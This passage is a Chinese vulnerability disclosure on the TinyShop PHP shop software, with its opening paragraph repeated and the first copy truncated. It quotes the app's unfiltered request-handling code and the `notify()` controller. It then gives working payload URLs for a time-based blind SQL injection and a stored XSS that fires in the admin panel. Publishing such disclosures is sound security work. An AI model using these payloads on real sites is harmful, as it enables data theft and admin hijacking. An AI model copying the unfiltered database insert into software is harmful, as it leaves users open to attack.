### 简要描述: 参数未进行过滤,导致同一位置出现sql注入和可打后台存储xss。 ### 详细说明: 先看看tinyshop如何处理传递的参数: /framework/lib/util/request_class.php中 ``` public static function get() { $num = func_num_args(); $args = func_get_args(); if($num==1) { if(isset($_GET[$args[0]])){ if(is_array($_GET[$args[0]]))return $_GET[$args[0]]; else return trim($_GET[$args[0]]); } return null; } else if($num>=2) { if($args[1]!==null)$_GET[$args[0]] = $args[1]; else if(isset($_GET[$args[0]])) unset($_GET[$args[0]]); } else { return $_GET; } } //对应处理$_POST public static function post() { $num = func_num_args(); $args = func_get_args(); if($num==1) { if(isset( $_POST[$args[0]])){ if(is_array( $_POST[$args[0]]))return $_POST[$args[0]]; else return trim( $_POST[$args[0]]); } return null; } else if($num>=2) { if($args[1]!==null)$_POST[$args[0]] = $args[1]; else if(isset($_POST[$args[0]])) unset($_POST[$args[0]]); } else { return $_POST; } } //同时处理$_GET $_POST public static function args() { $num = func_num_args(); $args = func_get_args();...
### 简要描述: 参数未进行过滤,导致同一位置出现sql注入和可打后台存储xss。 ### 详细说明: 先看看tinyshop如何处理传递的参数: /framework/lib/util/request_class.php中 ``` public static function get() { $num = func_num_args(); $args = func_get_args(); if($num==1) { if(isset($_GET[$args[0]])){ if(is_array($_GET[$args[0]]))return $_GET[$args[0]]; else return trim($_GET[$args[0]]); } return null; } else if($num>=2) { if($args[1]!==null)$_GET[$args[0]] = $args[1]; else if(isset($_GET[$args[0]])) unset($_GET[$args[0]]); } else { return $_GET; } } //对应处理$_POST public static function post() { $num = func_num_args(); $args = func_get_args(); if($num==1) { if(isset( $_POST[$args[0]])){ if(is_array( $_POST[$args[0]]))return $_POST[$args[0]]; else return trim( $_POST[$args[0]]); } return null; } else if($num>=2) { if($args[1]!==null)$_POST[$args[0]] = $args[1]; else if(isset($_POST[$args[0]])) unset($_POST[$args[0]]); } else { return $_POST; } } //同时处理$_GET $_POST public static function args() { $num = func_num_args(); $args = func_get_args(); if($num==1) { if(isset($_POST[$args[0]])){ if(is_array($_POST[$args[0]]))return $_POST[$args[0]]; else return trim($_POST[$args[0]]); } else{ if(isset($_GET[$args[0]])){ if(is_array($_GET[$args[0]]))return $_GET[$args[0]]; else return trim($_GET[$args[0]]); } } return null; } else if($num>=2) { if($args[1]!==null) { $_POST[$args[0]] = $args[1]; $_GET[$args[0]] = $args[1]; } else { if(isset($_GET[$args[0]])) unset($_GET[$args[0]]); if(isset($_POST[$args[0]])) unset($_POST[$args[0]]); } } else { return $_POST+$_GET; } } ``` 从上面可以看出,只是将POST和GET的方法封装到Req类里,并没有过滤。 弱点出现在/protected/controllers/index.php中 ``` public function notify() { $goods_id = Filter::int(Req::args('goods_id')); $email = Req::args('email');// $mobile = Req::args('mobile');//email和mobile都没过滤 $model = new Model('notify'); $register_time = Date('Y-m-d H:i:s'); $info = array('status'=>'fail','msg'=>'您还没有登录,无法订阅到货通知。'); if(isset($this->user['id'])){ $time = date('Y-m-d H:i:s' , strtotime('-3 day')); $obj = $model->where('user_id = '.$this->user['id'].' and goods_id='.$goods_id.' and register_time >'."'$time'")->find(); if($obj){ $info = array('status'=>'warning','msg'=>'您已订阅过了该商品的到货通知。'); }else{ $data = array('user_id'=>$this->user['id'],'goods_id'=>$goods_id,'register_time'=>$register_time,'email'=>$email,'mobile'=>$mobile); $last_id = $model->data($data)->insert();//未过滤的数据插入数据库 if($last_id>0)$info = array('status'=>'success','msg'=>'订阅成功。'); else $info = array('status'=>'fail','msg'=>'订阅失败。'); } } echo JSON::encode($info); } ``` ### 漏洞证明: 注入: 因为没有回显,也不能报错,就得基于时间盲注了: `http://localhost/index.php?con=index&act=notify&goods_id=1&email=111',(if(substring(user(),1,1)=char(114),sleep(5),798))) %23&mobile=1` 如果user的第一位是r,那么就延迟5秒。 [<img src="https://images.seebug.org/upload/201408/242022067d490abd91dd45b6c7066671bc3e5f81.png" alt="QQ截图20140824202012.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/242022067d490abd91dd45b6c7066671bc3e5f81.png) xss: `http://localhost/index.php?con=index&act=notify&goods_id=2&email=<script>alert(\'zxx\');</script>&mobile=111` [<img src="https://images.seebug.org/upload/201408/2420222830ce04964f6deb7b28fc34072a7f31f9.png" alt="QQ截图20140824202024.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/2420222830ce04964f6deb7b28fc34072a7f31f9.png) 管理员后台查看到货通知处: [<img src="https://images.seebug.org/upload/201408/24202308275d4bd258adbebc5d763395d85587b6.png" alt="QQ截图20140824202108.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/24202308275d4bd258adbebc5d763395d85587b6.png)